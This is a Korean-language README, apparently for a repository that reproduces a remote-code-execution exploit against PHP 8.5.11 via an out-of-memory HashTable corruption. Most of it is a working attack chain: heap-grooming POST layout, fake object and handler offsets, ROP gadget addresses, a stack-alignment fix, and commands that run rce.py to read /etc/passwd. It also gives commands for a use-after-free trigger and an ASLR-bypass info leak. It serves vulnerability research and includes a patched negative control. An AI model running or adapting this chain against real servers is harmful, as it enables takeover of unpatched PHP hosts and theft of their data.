
🤖 아니요, 이 취약점을 익스플로잇하는 쉬운 방법이 있습니다! (요점을 증명하기 위해 바이브코딩됨)
PHP 8.5.11(2026년 10월 권고)에 대한 재현 가능하고 애플리케이션 독립적인 원격 코드 실행 PoC입니다. 두 개의 2026년 PHP 메모리 손상 권고를 애플리케이션 코드 없이 system("cat /etc/passwd")로 전환합니다. 피해자의 index.php는 단지 ok를 출력할 뿐입니다.
longjmp가 절반만 구축된 HashTable을 버려서, 종료 시 파괴되는 댕글링 버킷을 남깁니다. 이것이 RCE 프리미티브입니다.모든 것이 Podman 컨테이너에서 완전히 재현 가능합니다. 확인된 엔드투엔드 결과는 /etc/passwd를 읽는 ./exploits/cve-2026-109618-oom/rce.py입니다.
PHP가 메모리 부족 상태가 되면 zend_mm_safe_error() → zend_error_noreturn() → zend_bailout()(longjmp)을 호출합니다. 8.5.11에서 해시 테이블 삽입은 할당 실패 가능성이 없으므로, OOM이 HashTable을 절반만 수정한 상태로 언와인드할 수 있습니다.
손상 지점은 _zend_hash_str_add_or_update_i()의 add_to_hash(Zend/zend_hash.c:960)입니다:
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
zend_string_init 키 복사가 OOM을 일으키면, 버킷 p는 기록되지 않은 채 남지만(key/h/val 모두 오래된 상태) nNumUsed는 이미 증가된 상태입니다. 요청 종료 시 zend_array_destroy()가 nNumUsed개의 버킷을 순회하며 기록되지 않은 버킷의 쓰레기 val — 공격자가 조작한 값 — 에 대해 i_zval_ptr_dtor(&p->val)을 호출합니다. 8.5.12 수정은 이러한 모든 할당을 실패 가능한 변형(femalloc/fperealloc2 + HASH_FALLIBLE)으로 대체하여, 삽입이 중단되는 대신 깔끔하게 반환되도록 합니다.
이 익스플로잇은 전적으로 하나의 제어된 2560바이트 블록이 마지막 버킷이 OOM 버킷인 HashTable의 arData가 되도록 만드는 것에 관한 것입니다. 밸런싱해야 했던 값들과 그 이유는 다음과 같습니다:
| 타입 / 변수 | 크기 | 역할 |
|---|---|---|
zend_array (HashTable) 헤더 | 56 B | arData, nNumUsed, nTableSize, pDestructor |
Bucket | 32 B | val(16) + h(8) + key(8); 기록되지 않은 것이 우리의 목표 |
zval | 16 B | value(8) + u1.type_info(4) + u2(4) — 우리가 type_info를 설정 |
zend_string | 24 B 헤더 + 데이터 | 패드 값; 길이가 할당자 빈을 결정 |
zend_object | 56 B | 가짜 객체: gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj가 피벗 가젯 |
zend_mm_heap / zend_mm_chunk | — | free_slot[], free_tail, map[] (빈 28 = 2560 B) |
전체 펑슈이가 의존하는 두 가지 할당자 사실:
HT_SIZE_EX(64) = 64*32 버킷 + 128*4 해시 = 2560), 왜냐하면
HT_SIZE_TO_MASK(n) = -(2n)이기 때문입니다.b150(순회됨)과 b0e0(폐기됨)은 심테이블 SEPARATE_ARRAY/간접 경로에 의해 생성된 $_POST["a"]의 두 복사본입니다; 각
a[<large>][c]=v 필드는 <large> 키를 둘 다에 삽입하며, b0e0은
항상 1개의 키가 앞서 있습니다. php_request_shutdown에 의해 파괴되는 것은 b150뿐이므로,
OOM은 b150에 발생해야 합니다.rce.py 참조)요청 본문은 urlencoded POST입니다:
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift (~40 KB)**는 OOM 필드의 첫 번째 삽입 시점, 즉 폐기된 b0e0가 아니라 순회 중인 테이블인 **b150**에 OOM이 발생할 만큼만 메모리를 소비합니다.pad=<2528 B>: add_post_var는 estrndup(A)를 수행한 다음 ZVAL_STRINGL_FAST(B, copy)를 수행합니다. 측정된 B = padlen + 32이므로, padlen=2528이면 A = 2529, B = 2560이 되어 둘 다 bin 28에 해당합니다. A는 estrndup 경로에서 해제됩니다.pad=x (중복 키)**는 유지된 복사본 B를 DTOR 처리하여 두 번째의 별개인 bin-28 슬롯을 해제합니다. 이제 b150의 32→64 리사이즈가 B를 재사용하므로, 우리가 제어하는 바이트가 b150의 arData가 됩니다.zend_hash_rehash에 의해 다시 작성되는 해시 배열인 오프셋 0x100이 아닙니다.IS_OBJECT로 설정되고 value.obj = &fake_object가 됩니다.i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt"); 이어서 GET /leak.txt 요청이 파일을 반환합니다.실제 디버깅 시간을 소모한 두 가지 미묘한 요구 사항(둘 다 rce.py에 있음):
__libc_system은 movaps(16바이트 정렬)를 사용하므로, pop rdi; ret와 system 사이에 추가 ret 가젯을 삽입해야 합니다. 그렇지 않으면 execve 전에 __libc_system 내부에서 SIGSEGV가 발생합니다.setarch -R)php-rce-oom-debug:8.5.11(베이스 php-rce-base:8.5.11) 기준으로 측정했습니다. libphp/libc 베이스는 베이스 빌드 전반에서 동일하며, 힙 오프셋 B는 설치된 라이브러리에 따라 달라지므로(gdb 설치로 이동함) 다른 이미지에서는 B를 다시 측정하거나, ASLR이 켜진 경우 정보 유출을 통해 확인해야 합니다.
| 심볼 | 주소 |
|---|---|
| libphp 베이스 | 0x7ffff4400000 |
| libc 베이스 | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot (jump_fcontext+0x2e) | 0x7ffff49fb8ae |
main chunk ([anon:zend_alloc]) | 0x7ffff7200000 |
B (arData 원시 블록 = b150->arData - 512) | 0x7ffff725e400 |
| 가짜 핸들러 | B + 24 + 2000 = 0x7ffff725ebe8 |
| 가짜 객체 | B + 24 + 2048 = 0x7ffff725ec18 |
cmd 문자열 | B + 24 + 2200 = 0x7ffff725ecb0 |
ROP 체인(가짜 객체 o 기준):
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
Podman이 필요합니다. 저장소 루트에서:
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
예상 출력:
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak
# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh
affected-versions/ vendored vulnerable PHP tarballs (8.2.34/8.3.35/8.4.26/8.5.11)
patched-versions/ vendored patched 8.5.12 tarball (negative control)
references/ the two GHSA advisories + the 2004 Esser advisory + php-bug-78876
container/
base/ shared Apache 2.4 + PHP build (parameterized by version)
cve-2026-109618-oom/ OOM victim (memory_limit=8M) + gdb debug layer
cve-2026-109619-stale-state/ stale-backtrace UAF victim + gdb debug layer
cve-2026-109619-info-leak/ info-leak / ASLR-bypass victim
negative-control/ patched 8.5.12, same config
exploits/
lib/client.py raw-socket HTTP client (controlled framing)
cve-2026-109618-oom/ exploit.py (trigger), stalealias.py, rce.py, trace.py/trace.sh
cve-2026-109619-stale-state/ producer/consumer/exploit/rop/leak + run.sh + trace.sh
cve-2026-109619-info-leak/ leak.py + run.sh
negative-control/
docs/
attack-surface.md exact vulnerable source locations
memory-layout.md measured object graph + ROP + addresses
heap-feng-shui.md the grooming progress log (§8.8–8.16 is the RCE chain)
info-leak.md the info-leak / ASLR-bypass primitive
exploit-plan.md / implementation-plan.md / tasks.md
setarch -R) PoC입니다.
ASLR이 켜진 경우 힙 베이스와 모듈 베이스는
cve-2026-109619-info-leak 프리미티브(docs/info-leak.md)에서 가져와야 합니다.B 오프셋은 이미지에 따라 달라집니다(설치된 라이브러리가 힙을 이동시킴). 다른 이미지의 경우
gdb 추적기로 B = b150->arData - 512를 다시 측정하십시오.index.php는 파일시스템 I/O를 수행하지 않으며
익스플로잇에 관여하지 않습니다.docs/에 있습니다.